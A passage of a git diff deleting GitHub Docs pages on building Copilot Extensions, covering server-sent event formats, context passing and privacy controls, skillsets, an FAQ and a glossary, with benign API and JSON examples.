list of encountered errors. This SSE is sent through an event type and data field. See the following code for an example of a `copilot_errors` SSE: - -```typescript annotate -// -event: copilot_errors -data: [{ - // A string that specifies the error's type. `type` can have a value of `reference`, `function` or `agent`. - "type": "function", - // A string controlled by the agent describing the nature of an error. - "code": "recentchanges", - // A string that specifies the error message shown to the user. - "message": "The repository does not exist", - // A string that serves as a unique identifier to link the error with other resources such as references or function calls. - "identifier": "github/hello-world" -}] -``` - -### `copilot_references` - -> [!NOTE] Rendering references is currently unsupported for {% data variables.product.prodname_copilot_mobile_short %}. Extensions that depend on reference memory to generate responses will still work, but the references will not be displayed to the user. - -The `copilot_references` SSE sends the user a list of references used to generate a response. This SSE is sent through an event type and data field. See the following code for an example of a `copilot_references` SSE: - -```typescript annotate -// -event: copilot_references -data: [{ - // A string that specifies the type of the reference. - "type": "blackbeard.story", - // A string that specifies the ID of the reference. - "id": "snippet", - // An optional field where the agent can include any data needed to uniquely identify this reference. - "data": { - "file": "story.go", - "start": "0", - "end": "13", - "content": "func main()...writeStory()..." - }, - // An optional boolean that indicates if the reference was passed implicitly or explicitly. - "is_implicit": false, - // An optional field for the agent to include any metadata to display in the user's environment. If any of the below required fields are missing, then the reference will not be rendered in the UI. - "metadata": { - "display_name": "Lines 1-13 from story.go", - "display_icon": "icon", - "display_url": "http://blackbeard.com/story/1", - - } -}] -``` - -### Default SSE - -The default SSE sends the user a general chat message. This SSE is unnamed and sent solely through a data field. See the following code for an example of a default SSE: - -```text -data: {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-3.5-turbo-0125", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}]} -``` - -## Receiving server-sent events - -Just as your agent sends SSEs to the {% data variables.product.prodname_copilot_short %} platform, it also receives the `resp_message` SSE from the platform. This SSE contains a list of messages from the user, as well as optional data related to each of the SSE events the agent can send. See the following code sample for an example curl request to your agent containing a message: - -```bash -curl --request POST \ - --url $AGENT_URL \ - --header 'Accept: application/json' \ - --header 'Content-Type: application/json' \ - --header "X-GitHub-Token: $RUNTIME_GENERATED_TOKEN" \ - --data '{ - "messages": [ - { - "role": "user", - "content": "What is a closure in javascript?", - "copilot_references": [] - } - ] - }' -``` - -## Next steps - -Now that you understand how your {% data variables.product.prodname_copilot_agent_short %} communicates with the {% data variables.product.prodname_copilot_short %} platform, you can learn how to integrate your agent with the {% data variables.product.github %} API. See [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github). diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/context-passing-for-your-agent.md b/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/context-passing-for-your-agent.md deleted file mode 100644 index 2d298393f8a8..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/context-passing-for-your-agent.md +++ /dev/null @@ -1,239 +0,0 @@ ---- -title: Context passing for your agent -intro: 'Learn how to use context passing with your {% data variables.product.prodname_copilot_agent_short %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Context passing -type: how_to ---- - -## About context passing - -{% data variables.product.prodname_copilot_extensions %} can access certain contextual information using context passing. -Context passing allows agents to receive relevant details about a user’s current file, selected text, and repository. -It happens automatically when you interact with an extension, but requires your explicit authorization through {% data variables.product.prodname_github_app %} permissions for use in any organization-owned repositories. - -Different clients, such as {% data variables.product.prodname_copilot_chat %} in {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, and {% data variables.product.github %}, provide context through different reference types. -For example, IDEs send information such as file contents and selections, while {% data variables.product.prodname_copilot_chat_dotcom_short %} includes the current URL for the page being viewed. - -## Prerequisites - -{% data reusables.copilot.copilot-extensions.agents-copilot-platform-prerequisites %} - -## Understanding context passing - -Context passing enables agents to receive information about the user’s active workspace. -Your agent receives server-sent events (SSEs) that contain a list of messages from the user as well as references to the user’s current environment. -Depending on the client, different types of context are provided. - -The following table shows the reference types that are passed to {% data variables.product.prodname_copilot_extensions %} based on the client or IDE you are using. - -{% rowheaders %} - -| Client or IDE | client.file | client.selection | github.repository | github.current-url | Additional contexts | -| ------------------ | ----------- | ---------------- | ----------------- | ------------------ | ------------------------------------------------- | -| {% data variables.product.prodname_vscode %} | Yes | Yes | Yes | No | Repository owner and branch | -| {% data variables.product.prodname_vs %} | Yes | Yes | Yes | No | Repository owner and branch | -| {% data variables.product.prodname_dotcom_the_website %} | No | No | Yes | Yes | Repository information and other {% data variables.product.github %} resources | -| {% data variables.product.prodname_mobile %} | No | No | No | Yes | Not applicable - -{% endrowheaders %} - -### Reference types for {% data variables.product.prodname_copilot_chat_short %} in IDEs - -The following reference types can be passed to your agent from an IDE: -* `client.file`: Represents the full content of the currently active file in the IDE. -* `client.selection`: Represents the selected portion of text the user highlighted in the active file. -* `github.repository`: Provides information about the active repository. - -### Reference types for {% data variables.product.prodname_copilot_chat_dotcom_short %} - -The following reference types can be passed to your agent from {% data variables.product.github %}: -* `github.current-url`: Represents the URL of the current {% data variables.product.github %} page the user is viewing. -* `github.repository`: Provides information about the active repository. - -## Example references - -The following code shows an example object for `client.file`: - -```json -{ - // The reference type. - "type": "client.file", - "data": { - // The full content of the active file. - "content": "Lorem ipsum dolor sit amet, consectetur adipiscing elit", - "language": "plaintext" - }, - "id": "relative-path/to/file", - // `is_implicit` indicates whether the reference was automatically provided by the client (true) or manually attached by the user (false). - "is_implicit": true, - "metadata": { - "display_name": "https://github.com/example-user/example-repository", - "display_icon": "", - "display_url": "" - } -} -``` - -The following code shows an example object for `client.selection`: - -```json -{ - // The reference type. - "type": "client.selection", - "data": { - // The currently selected portion of text. - "content": "<current selection>", - "end": { - "col": 80, - "line": 10 - }, - "start": { - "col": 0, - "line": 0 - } - }, - "id": "relative-path/to/file", - // `is_implicit` indicates whether the reference was automatically provided by the client (true) or manually attached by the user (false). - "is_implicit": true, - "metadata": { - "display_name": "https://github.com/example-user/example-repository", - "display_icon": "", - "display_url": "" - } -} -``` - -The following code shows an example object for `github.repository`: - -```json -{ - // The reference type. - "type": "github.repository", - "data": { - "type": "repository", - "id": "abc-123", - "name": "example-repository", - "ownerLogin": "example-user", - "ownerType": "", - "readmePath": "", - "description": "", - "commitOID": "", - "ref": "", - "refInfo": { - "name": "", - "type": "" - }, - "visibility": "", - "languages": null - }, - "id": "example-user/example-repository", - // `is_implicit` is always false for github.repository. - "is_implicit": false, - "metadata": { - "display_name": "https://github.com/example-user/example-repository", - "display_icon": "", - "display_url": "" - } -} -``` - -The following code shows an example object for `github.current-url`: - -```json -{ - // The reference type. - "type": "github.current-url", - "data": { - // The GitHub URL the user was on while chatting with the agent. - "url": "https://github.com/example-user/example-repository" - }, - "id": "https://github.com/example-user/example-repository", - // `is_implicit` is always true for github.current-url. - "is_implicit": true, - "metadata": { - "display_name": "https://github.com/example-user/example-repository", - "display_icon": "", - "display_url": "" - } -} -``` - -## Setting up context passing - -To enable context passing through an IDE client, the **{% data variables.product.prodname_copilot_short %} Editor Context** permission must be configured for your agent. -This permission only controls access for the `client.file` and `client.selection` reference types. -Users that install and use the agent will be clearly informed that the agent has read access to {% data variables.product.prodname_copilot_short %} Editor Context which includes content such as active file and current selection. - -`github.current-url` and `github.repository` are unaffected by the {% data variables.product.prodname_copilot_short %} Editor Context. These reference types rely on authorization filtering to ensure third party agents only receive references they have access to. For information on managing the privacy of `github.current-url` and `github.repository`, see [Privacy controls](#privacy-controls). - -Follow these steps to set the necessary permissions for context passing from IDEs to your agent: - -{% data reusables.apps.settings-step-personal-orgs %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. In the list of {% data variables.product.prodname_github_apps %}, click the {% data variables.product.prodname_github_app %} you want to configure for context passing. -1. In the navigation menu on the left, select **Permissions & events**. -1. Under **Account Permissions**, select **Read-only** access for **{% data variables.product.prodname_copilot_short %} Editor Context**. - -## Privacy controls - -In cases where you don't want to share certain context details with the agent, you can redact and remove reference types in multiple ways. - -### Chat in IDEs - -* If an agent doesn't have the {% data variables.product.prodname_copilot_short %} Editor Context read-access permission, all `client.*` references are removed. -* If an agent doesn't have read access to a repository, all `client.*` references are removed and the `github.repository` reference is redacted. -> [!NOTE] {% data variables.product.prodname_vs %} and {% data variables.product.prodname_vscode %} provides an option to exclude content from the current file. The `client.*` reference types are removed if the user has excluded content from the current file. - -### Chat in {% data variables.product.github %} - -* If an agent doesn't have read access to the repository associated with the current {% data variables.product.github %} URL, the `github.current-url` and `github.repository` references are redacted. -* If repository information cannot be extracted from the current {% data variables.product.github %} URL, `github.current-url` is redacted. - -### Redacted references - -When a reference is redacted due to insufficient permissions, it is replaced with a placeholder indicating the type of information that was excluded. -In the following example, the `type` field indicates that the reference has been redacted and the `data.type` field reveals the original reference type. - -```json -{ - "role": "user", - "content": "Current Date and Time (UTC): 2024-10-22 00:43:14\nCurrent User's Login: monalisa\n", - "name": "_session", - "copilot_references": [ - { - "type": "github.redacted", - "data": { - "type": "github.current-url" - }, - "id": "example-id", - "is_implicit": true, - "metadata": { - "display_name": "", - "display_icon": "", - "display_url": "" - } - } - ], - "copilot_confirmations": null -} -``` - -### Context Exclusions - -To safeguard sensitive information, certain scenarios automatically prevent the passing of context to agents. -If an organization has set content exclusion rules for {% data variables.product.prodname_copilot_short %}, files that fall under these rules will not be included in the context passed to agents. - -For more information on content exlusion rules, see [AUTOTITLE](/copilot/managing-copilot/configuring-and-auditing-content-exclusion/excluding-content-from-github-copilot). - -#### Large Files - -Files exceeding the size limit set by the client will not be sent. The reference will include metadata indicating that the file was too large to process. - -#### Hidden Files - -Files beginning with a dot, such as `.env` and `.config`, are excluded by default to prevent unintentional sharing of sensitive configurations. In {% data variables.product.prodname_vscode_shortname %}, you can specify files or directories in a `.copilotignore` file to prevent them from being sent to {% data variables.product.prodname_copilot_short %} agents. This client-side mechanism offers granular control over which files are excluded. diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/index.md b/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/index.md deleted file mode 100644 index 251e5b0ebb62..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Building a Copilot agent for your Copilot Extension -shortTitle: Build a Copilot agent -intro: 'Learn how to build a custom {% data variables.product.prodname_copilot_agent_short %} that determines the functionality of your {% data variables.product.prodname_copilot_extension_short %}.' -versions: - feature: copilot -topics: - - Copilot -children: - - /about-copilot-agents - - /configuring-your-copilot-agent-to-communicate-with-the-copilot-platform - - /configuring-your-copilot-agent-to-communicate-with-github - - /context-passing-for-your-agent - - /using-copilots-llm-for-your-agent ---- diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/using-copilots-llm-for-your-agent.md b/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/using-copilots-llm-for-your-agent.md deleted file mode 100644 index a3371a296573..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/using-copilots-llm-for-your-agent.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Using Copilot's LLM for your agent -intro: 'Learn how to use {% data variables.product.prodname_copilot_short %}''s LLM for your agent.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Use Copilot's LLM -type: reference -allowTitleToDifferFromFilename: true ---- - -## About {% data variables.product.prodname_copilot_short %}'s Large Language Model (LLM) - -{% data variables.product.prodname_copilot_short %}'s Large Language Model (LLM) is a powerful, large-scale language model that is trained on a diverse range of data sources, including code, documentation, and other text. {% data variables.product.prodname_copilot_short %}'s LLM underpins the functionality for {% data variables.product.prodname_copilot %}, and is used to power all of {% data variables.product.prodname_copilot_short %}'s features, including code generation, documentation generation, and code completion. - -You have the option to use {% data variables.product.prodname_copilot_short %}'s LLM to power your agent, which can be useful if you want your agent to be able to generate completions for user messages, but you don't want to manage your own LLM. - -> [!NOTE] Third-party agents have strict rate limits for using {% data variables.product.prodname_copilot_short %}'s LLM. If your third-party agent will need to generate a large number of completions, you should consider using your own LLM or an API like OpenAI. - -## Using {% data variables.product.prodname_copilot_short %}'s LLM for your agent - -You can call {% data variables.product.prodname_copilot_short %}'s LLM deployment at `{% data variables.copilot.chat_completions_api %}` with a POST request. Requests and responses should follow the format as the [OpenAI API](https://platform.openai.com/docs/api-reference/chat/create). - -To authenticate, use the same `X-Github-Token` header sent to your agent. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github#fetching-resources-from-the-github-api). - -Here is an example of how {% data variables.product.prodname_copilot_short %}'s LLM deployment is used by the Blackbeard extension to generate completions for a user message: - -```javascript - // Use Copilot's LLM to generate a response to the user's - // messages, with our extra system messages attached. - const copilotLLMResponse = await fetch( - "https://api.githubcopilot.com/chat/completions", - { - method: "POST", - headers: { - authorization: `Bearer ${tokenForUser}`, - "content-type": "application/json", - }, - body: JSON.stringify({ - messages, - stream: true, - }), - } - ); -``` - -To see this example in its full context, see the [Blackbeard extension](https://github.com/copilot-extensions/blackbeard-extension). diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/about-copilot-skillsets.md b/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/about-copilot-skillsets.md deleted file mode 100644 index 96d84ecae613..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/about-copilot-skillsets.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: About Copilot skillsets -intro: 'Learn what {% data variables.product.prodname_copilot_skillsets %} are and how they simplify integrating third-party tools and functions into your {% data variables.product.prodname_copilot_short %} experience.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: About {% data variables.product.prodname_copilot_skillsets_short %} -type: overview ---- - -A skill within {% data variables.product.prodname_copilot %} is a tool that the model calls to perform a specific task in response to a user query. A skillset is a collection of these skills (up to five per skillset). {% data variables.product.prodname_copilot_skillsets %} provide a streamlined way to extend {% data variables.product.prodname_copilot_short %}’s functionality, allowing builders to integrate external services or custom API endpoints into their {% data variables.product.prodname_copilot_short %} workflow. With skillsets, builders can enable {% data variables.product.prodname_copilot_short %} to perform tasks—such as retrieving data or executing actions in third-party services—without needing to manage complex workflows or architecture. - -For a quickstart example of a skillset, see the [skillset-example](https://github.com/copilot-extensions/skillset-example) repository. For information on building a skillset, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/building-copilot-skillsets). - -## How skillsets and agents differ - -{% data reusables.copilot.copilot-extensions.differences-between-agents-and-skillsets-1 %} -{% data reusables.copilot.copilot-extensions.differences-between-agents-and-skillsets-2 %} - -## The extensibility platform - -Skillsets and agents both operate on the {% data variables.product.prodname_copilot_extensibility_platform %}, which manages the flow of user requests and function evaluations. With {% data variables.product.prodname_copilot_skillsets_short %}, the platform handles routing, prompt crafting, function calls and prompt generation. - -### Workflow overview - -The extensibility platform follows a structured workflow to process user requests and generate responses: - -1. **User request** -A user issues a request in the {% data variables.product.prodname_copilot_chat_short %} interface, such as asking for data or executing a specific action. - -1. **Routing** -The request is routed to the appropriate extension. For skillsets, this means the platform agent identifies and invokes the corresponding skillset based on the user’s intent. Each skill’s inference description helps the platform determine which skill to call. - -1. **Dynamic Prompt Crafting** -{% data variables.product.prodname_copilot %} generates a prompt using: - * The user’s query. - * Relevant thread history. - * Available functions within the skillset. - * Results from any prior function calls. - -1. **LLM Completion** -The language model (LLM) processes the prompt and determines: - * Whether the user’s intent matches a skillset function. - * Which function(s) to call and with what arguments. - * If required, the LLM may send additional function calls to gather more context. - -1. **Function Evaluation** -The extension invokes the selected function(s), which may involve: - * Gathering relevant context, such as {% data variables.product.prodname_copilot_skillsets_short %} repository or user metadata. - * Making an API call to an external service to retrieve data or execute an action. - -1. **Response generation** -The platform iteratively refines the output, looping through prompt crafting, LLM completion, and function evaluation as needed. Once the process is complete, {% data variables.product.prodname_copilot_short %} streams a final response back to the user in the chat interface. diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/building-copilot-skillsets.md b/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/building-copilot-skillsets.md deleted file mode 100644 index 5ed1f5cad6d1..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/building-copilot-skillsets.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Building Copilot skillsets -intro: 'Learn the steps to build {% data variables.product.prodname_copilot_skillsets %} and integrate custom tools and functions into your Copilot environment.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Build {% data variables.product.prodname_copilot_skillsets_short %} -type: how_to ---- - -## Introduction - -{% data variables.product.prodname_copilot_skillsets %} are a streamlined way to extend {% data variables.product.prodname_copilot %}'s functionality by defining API endpoints that {% data variables.product.prodname_copilot_short %} can call. When you create a skillset, {% data variables.product.prodname_copilot_short %} handles all the AI interactions while your endpoints provide the data or functionality. This guide walks you through configuring and deploying a skillset within your {% data variables.product.prodname_github_app %}. - -## Prerequisites - -Before you begin, make sure you have the following: - -1. **A configured {% data variables.product.prodname_github_app %}:** You’ll need a {% data variables.product.prodname_github_app %} to act as the container for your skillset. If you haven’t already set one up, refer to [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension) and [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-extension). -1. **API endpoints:** You need one endpoint per skill. Each endpoint must: - * Accept POST requests with the `application/json` MIME type - * Be able to verify the signature of requests from {% data variables.product.github %} to authenticate their origin and prevent unauthorized access - * Be publicly accessible via HTTPS - -For more information about signature verification, see [Verifying that payloads are coming from {% data variables.product.github %}](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github#verifying-that-payloads-are-coming-from-github). - -## Configuration requirements - -Each skillset is defined within a {% data variables.product.prodname_github_app %}. A single {% data variables.product.prodname_github_app %} can contain up to five skills. Each individual skill needs: -* **Name:** A clear and descriptive name (for example, "Get Issues"). -* **Inference description:** A detailed explanation of what the skill does and when to use it (for example, "Searches for external issues matching specific criteria like status and labels"). -* **API endpoint:** A POST endpoint that accepts JSON requests. -* **JSON schema:** The structure of data your endpoint expects. - -### Example JSON schema - -This example demonstrates a skill that requires two parameters: a status string and a label string. If no parameters are provided, an empty object with the type 'object' must be passed in as the request body. - -```json -{ - "type": "object", - "properties": { - "status": { - "type": "string", - "description": "filter issues by status (open, closed)", - "enum": ["open", "closed"] - }, - "label": { - "type": "string", - "description": "filter issues by label" - } - } -} -``` - -This format lets users make natural-language requests like `find open security issues` and {% data variables.product.prodname_copilot_short %} will structure the appropriate API call. - -## Using your skillset - -To use your skillset: -1. Type `@` followed by your extension's name. -1. Type your prompt in natural language. - - For example: - * `@skillset-example generate a lorem ipsum` - * `@skillset-example give me sample data with 100 words` - -Copilot interprets your request and calls the appropriate skill with the right parameters. There's no need to specify which skill to use—{% data variables.product.prodname_copilot_short %} determines this from your natural-language request and the inference descriptions provided. - -## Setting up a skillset - -{% data reusables.apps.settings-step-personal-orgs %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. In the list of {% data variables.product.prodname_github_apps %}, click the {% data variables.product.prodname_github_app %} you want to configure for your skillset. -1. In the navigation menu on the left, select **{% data variables.product.prodname_copilot_short %}**. -1. Under **App Type**, select **Skillset** from the dropdown menu. -1. Optionally, in the **Pre-authorization URL** field, enter the URL where users will be redirected to start the authentication process. This step is necessary if your API requires users to connect their GitHub account to access certain features or data. -{% data reusables.copilot.copilot-extensions.skillsets-configuration-steps %} diff --git a/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/index.md b/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/index.md deleted file mode 100644 index 96fd3ea6a0c8..000000000000 --- a/content/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Building a Copilot skillset for your Copilot Extension -shortTitle: Build a Copilot skillset -intro: 'Learn how to build a custom {% data variables.product.prodname_copilot_skillset_short %} to combine custom skills and extend the capabilities of {% data variables.product.prodname_copilot_short %}.' -versions: - feature: copilot -topics: - - Copilot -children: - - /about-copilot-skillsets - - /building-copilot-skillsets ---- - diff --git a/content/copilot/building-copilot-extensions/copilot-extensions-faq.md b/content/copilot/building-copilot-extensions/copilot-extensions-faq.md deleted file mode 100644 index fa528856e210..000000000000 --- a/content/copilot/building-copilot-extensions/copilot-extensions-faq.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Copilot Extensions FAQ -intro: 'Find answers to common questions about {% data variables.product.prodname_copilot_extensions %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Extensions FAQ -type: reference ---- - -## General - -This section answers common questions about {% data variables.product.prodname_copilot_extensions %}. - -* [What is the difference between a {% data variables.product.prodname_copilot_extension %} and a {% data variables.product.prodname_vscode %} chat participant?](#what-is-the-difference-between-a-github-copilot-extension-and-a-visual-studio-code-chat-participant) -* [Is indemnity provided for {% data variables.product.prodname_copilot_extensions_short %}?](#is-indemnity-provided-for-copilot-extensions) - -### What is the difference between a {% data variables.product.prodname_copilot_extension %} and a {% data variables.product.prodname_vscode %} chat participant? - -{% data variables.product.prodname_copilot_extensions %} and {% data variables.product.prodname_vscode %} chat participants use the same backend platform to route requests to extensions. Both provide similar end-user experiences, integrate with {% data variables.product.prodname_copilot_chat_short %}, and can leverage the {% data variables.product.prodname_copilot_short %} API or other LLMs. - -While they share similarities, below are several key differences: -* {% data variables.product.prodname_copilot_extensions %} and {% data variables.product.prodname_vscode %} chat participants are accessed through different marketplaces. -* {% data variables.product.prodname_copilot_extensions %} are server-side extensions, requiring server infrastructure to build. These extensions provide a built-in connection to your {% data variables.product.github %} workspaces, as set by your organization admin. -* {% data variables.product.prodname_vscode %} chat participants are client-side extensions that have read and write access to your local files. They do not require server infrastructure. -* {% data variables.product.prodname_copilot_extensions %} can be used in any editor where extensions are supported, while {% data variables.product.prodname_vscode %} Chat Participants are only available in {% data variables.product.prodname_vscode %}. - -For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions). - -### Is indemnity provided for {% data variables.product.prodname_copilot_extensions_short %}? - -No, {% data variables.product.prodname_copilot_extensions_short %} are not covered by {% data variables.product.prodname_copilot %}’s indemnity policy. However, this exclusion applies only to issues that arise within extension chat threads. - -Installing and using extensions does not affect indemnity coverage for any issues that occur while using other {% data variables.product.prodname_copilot_short %} features such as code completions and chat. - -## Data and Permissions - -This section explains what data is collected and shared when using {% data variables.product.prodname_copilot_extensions_short %}. - -* [What data is being collected and shared with {% data variables.product.prodname_copilot_extensions_short %}?](#what-data-is-being-collected-and-shared-with-copilot-extensions) -* [What permissions are required for {% data variables.product.prodname_copilot_extensions_short %}?](#what-permissions-are-required-for-copilot-extensions) -* [Who can provide permissions for {% data variables.product.prodname_copilot_extensions_short %} to access organization resources?](#who-can-provide-permissions-for-copilot-extensions-to-access-organization-resources) -* [Can a user use {% data variables.product.prodname_copilot_extensions_short %} that the organization has not provided permissions for?](#can-a-user-use-copilot-extensions-that-the-organization-has-not-provided-permissions-for) - -### What data is being collected and shared with {% data variables.product.prodname_copilot_extensions_short %}? - -The following data is shared when interacting with {% data variables.product.prodname_copilot_extensions_short %}: -* Data attached to your account and {% data variables.product.prodname_copilot_chat_short %} usage, such as {% data variables.product.github %} user ID, and timestamps of messages. -* Past messages within the chat thread where you are invoking an extension. Only one extension can be used per thread, preventing data sharing across extensions. The data retention period for thread context is 30 days. -* Any additional organization and repository data that is authorized for the extension by your organization admin. Admins installing extensions must approve access to the required permissions prior to completing installation. -* For {% data variables.product.prodname_copilot_chat_dotcom_short %}, if your admin has approved the extension to access repository or organization metadata , that data will be shared as well. - -### What permissions are required for {% data variables.product.prodname_copilot_extensions_short %}? - -{% data reusables.copilot.copilot-extensions.about-extensions-permissions %} - -### Who can provide permissions for {% data variables.product.prodname_copilot_extensions_short %} to access organization resources? - -Only organization admins can grant permissions for {% data variables.product.prodname_copilot_extensions_short %} to access organization resources. -Organization members may encounter cases where an extension cannot access a repository or query context. This typically happens because the organization admin has not yet provided permissions or authorized the extension. See [Granting permissions to access organization resources](/copilot/building-copilot-extensions/about-building-copilot-extensions#granting-permissions-to-access-organization-resources). - -### Can a user use {% data variables.product.prodname_copilot_extensions_short %} that the organization has not provided permissions for? - -Yes, any user can install and use {% data variables.product.prodname_copilot_extensions_short %}. However, to query organization resources and repositories, an extension must be installed and authorized by an organization admin. See [Granting permissions to access organization resources](/copilot/building-copilot-extensions/about-building-copilot-extensions#granting-permissions-to-access-organization-resources). - -Users should contact their organization admin to request installation and authorization. Company context cannot be accessed without admin permissions. - -## Policies - -This section covers administrative policies for {% data variables.product.prodname_copilot_extensions_short %} - -* [How do I control which {% data variables.product.prodname_copilot_extensions_short %} can be used in my enterprise?](#how-do-i-control-which-copilot-extensions-can-be-used-in-my-enterprise) -* [Is there an allowlist/blocklist at the enterprise level?](#is-there-an-allowlistblocklist-at-the-enterprise-level) -* [As a member of an organization, how can I get access to {% data variables.product.prodname_copilot_extensions_short %}?](#as-a-member-of-an-organization-how-can-i-get-access-to-copilot-extensions) - -### How do I control which {% data variables.product.prodname_copilot_extensions_short %} can be used in my enterprise? - -Enterprise admins can disable {% data variables.product.prodname_copilot_extensions_short %} across their enterprise by setting the **{% data variables.product.prodname_copilot_extensions_short %}** policy to "Disabled" or "No Policy". - -### Is there an allowlist/blocklist at the enterprise level? - -No, there is no allowlist or blocklist at the enterprise level. - -### As a member of an organization, how can I get access to {% data variables.product.prodname_copilot_extensions_short %}? - -To access {% data variables.product.prodname_copilot_extensions_short %} as a member of an organization, the organization that assigned you a {% data variables.product.github %} seat must enable the {% data variables.product.prodname_copilot_extensions_short %} policy. Additionally, the same organization must install and authorize the extension to access any organization owned repositories. - -For example, if you are a member of multiple organizations and Organization A has assigned you a {% data variables.product.github %} seat, you will only have access to extensions if Organization A has enabled the policy. If Organization B has enabled extensions but you do not have access, it is because Organization A has disabled the {% data variables.product.prodname_copilot_extensions_short %} policy. diff --git a/content/copilot/building-copilot-extensions/copilot-extensions-glossary.md b/content/copilot/building-copilot-extensions/copilot-extensions-glossary.md deleted file mode 100644 index 3578bb02bb05..000000000000 --- a/content/copilot/building-copilot-extensions/copilot-extensions-glossary.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Copilot Extensions Glossary -intro: 'Understand the terminology used in {% data variables.product.prodname_copilot_extensions_short %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Extensions Glossary -type: reference ---- - -The following terms are used in the context of {% data variables.product.prodname_copilot_extensions_short %}, and are defined here for clarity. - -#### Agent - -A type of {% data variables.product.prodname_copilot_extension_short %} implementation that gives developers full control over handling user queries and response generation. This approach is ideal for builders who want complete customization and management of AI interactions. - -#### Context Passing - -A capability in {% data variables.product.prodname_copilot_extensions_short %} that enables user context from editors to be sent to agents, allowing for more tailored responses. - -#### {% data variables.product.prodname_copilot_chat_short %} - -The conversational interface within {% data variables.product.prodname_copilot %} where users can interact with the AI assistant and extensions. - -#### {% data variables.product.prodname_copilot_extension_short %} - -A {% data variables.product.prodname_github_app %} with additional access to the {% data variables.product.prodname_copilot_chat_short %} window and Copilot API, allowing for extended functionality in {% data variables.product.company_short %}'s {% data variables.product.prodname_copilot_chat_short %}. This is how we will refer to extensions from the perspective of an extension user. - -#### {% data variables.product.prodname_copilot_short %} Extensibility Platform - -The system that handles authentication and proxies requests between clients and agent plugins. - -#### {% data variables.product.prodname_copilot_extension_vsc %} - -Also known as {% data variables.product.prodname_vscode %} Chat extensions, {% data variables.product.prodname_copilot_extensions_vsc %} are built as a {% data variables.product.prodname_vscode %} extension rather than a {% data variables.product.prodname_github_app %}. These extensions are exclusive to {% data variables.product.prodname_vscode_shortname %} and can be downloaded from the {% data variables.product.prodname_vscode_shortname %} Marketplace. - -#### {% data variables.product.prodname_github_app %} - -The foundation for a {% data variables.product.prodname_copilot_extension_short %} that provides the necessary infrastructure, permissions, and context from {% data variables.product.company_short %}, such as user, repo and organization metadata. - -#### {% data variables.product.prodname_marketplace %} - -The platform where {% data variables.product.company_short %} approved {% data variables.product.prodname_copilot_extensions %} can be listed publicly and discovered by users. - -#### Listed/Published Extension - -An extension that appears on the {% data variables.product.prodname_marketplace %}. These extensions must be reviewed and approved by {% data variables.product.company_short %}. - -#### Private Extension - -An extension that is only visible and usable by the enterprise, organization, or individual user that created it. Enterprise-created extensions can be installed by organizations that are within the enterprise. - -#### Public Extension - -An extension that is visible and installable by any {% data variables.product.company_short %} user or organization. - -#### Skill - -A piece of code that retrieves context or executes an action in response to a user’s prompt (for example, "findIssueByID(id: number)"). For a list of a skills, see [Currently available skills](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#currently-available-skills). - -#### Skillset - -A type of {% data variables.product.prodname_copilot_extension_short %} implementation that gives developers the ability to connect external services and custom API endpoints to {% data variables.product.prodname_copilot_short %} with minimal complexity. The {% data variables.product.prodname_copilot_extensibility_platform_short %} handles prompt crafting, function evaluation, and response generation. The builder only needs to handle API skill definitions. This approach is ideal for builders who want minimal complexity. - -#### Tool/Function Calling - -A capability of {% data variables.product.prodname_copilot_short %}'s LLM 